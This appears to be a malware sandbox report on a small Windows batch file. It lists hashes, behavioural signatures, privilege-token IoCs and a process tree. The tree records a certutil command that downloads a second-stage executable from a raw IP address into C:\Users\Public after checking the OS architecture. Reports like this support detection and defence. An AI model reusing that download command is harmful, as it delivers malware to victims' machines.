Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
25/08/2026, 12:26
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
windows.bat
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
5 signatures
150 seconds
General
- Target windows.bat
- Size 501B
- Sample260825-pmjf2syvbx
- SHA256 b4bd5a8008ea522c899a4870e5861d89b1817fdf461b9c48ca0ade0e2f4597b2
- MD5 bd69a712d8ed4ef4889a769b2a90412e
- SHA1 52f898ad688cf5e11f48a59339219c7efaa386a3
- SHA512 ef6d37a9e49beeedcee20fb20698d0bd4f7c63cd3a410777f19e2f20f3114cfc745caf23926d74589c2a14c8b0928ada7aef24f83a8eb1058d279e213549578e
- TLSH T13FF09ECD242609B117C5DC13F4A15199B07B407ACE319585AF4051DE2DC61D97AFAFCA
- MD5 SHA1 SHA512 TLSH
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4388 cmd.exe 2404 cmd.exe - Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2732 WMIC.exe Token: SeSecurityPrivilege 2732 WMIC.exe Token: SeTakeOwnershipPrivilege 2732 WMIC.exe Token: SeLoadDriverPrivilege 2732 WMIC.exe Token: SeSystemProfilePrivilege 2732 WMIC.exe Token: SeSystemtimePrivilege 2732 WMIC.exe Token: SeProfSingleProcessPrivilege 2732 WMIC.exe Token: SeIncBasePriorityPrivilege 2732 WMIC.exe Token: SeCreatePagefilePrivilege 2732 WMIC.exe Token: SeBackupPrivilege 2732 WMIC.exe Token: SeRestorePrivilege 2732 WMIC.exe Token: SeShutdownPrivilege 2732 WMIC.exe Token: SeDebugPrivilege 2732 WMIC.exe Token: SeSystemEnvironmentPrivilege 2732 WMIC.exe Token: SeRemoteShutdownPrivilege 2732 WMIC.exe Token: SeUndockPrivilege 2732 WMIC.exe Token: SeManageVolumePrivilege 2732 WMIC.exe Token: 33 2732 WMIC.exe Token: 34 2732 WMIC.exe Token: 35 2732 WMIC.exe Token: 36 2732 WMIC.exe Token: SeIncreaseQuotaPrivilege 2732 WMIC.exe Token: SeSecurityPrivilege 2732 WMIC.exe Token: SeTakeOwnershipPrivilege 2732 WMIC.exe Token: SeLoadDriverPrivilege 2732 WMIC.exe Token: SeSystemProfilePrivilege 2732 WMIC.exe Token: SeSystemtimePrivilege 2732 WMIC.exe Token: SeProfSingleProcessPrivilege 2732 WMIC.exe Token: SeIncBasePriorityPrivilege 2732 WMIC.exe Token: SeCreatePagefilePrivilege 2732 WMIC.exe Token: SeBackupPrivilege 2732 WMIC.exe Token: SeRestorePrivilege 2732 WMIC.exe Token: SeShutdownPrivilege 2732 WMIC.exe Token: SeDebugPrivilege 2732 WMIC.exe Token: SeSystemEnvironmentPrivilege 2732 WMIC.exe Token: SeRemoteShutdownPrivilege 2732 WMIC.exe Token: SeUndockPrivilege 2732 WMIC.exe Token: SeManageVolumePrivilege 2732 WMIC.exe Token: 33 2732 WMIC.exe Token: 34 2732 WMIC.exe Token: 35 2732 WMIC.exe Token: 36 2732 WMIC.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4388 wrote to memory of 2404 4388 cmd.exe 86 PID 2404 wrote to memory of 2732 2404 cmd.exe 87 PID 2404 wrote to memory of 4672 2404 cmd.exe 88 PID 4388 wrote to memory of 5000 4388 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2732
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4672
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://192.238.141.140:443/?h=192.238.141.140&p=443&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"2⤵PID:5000
-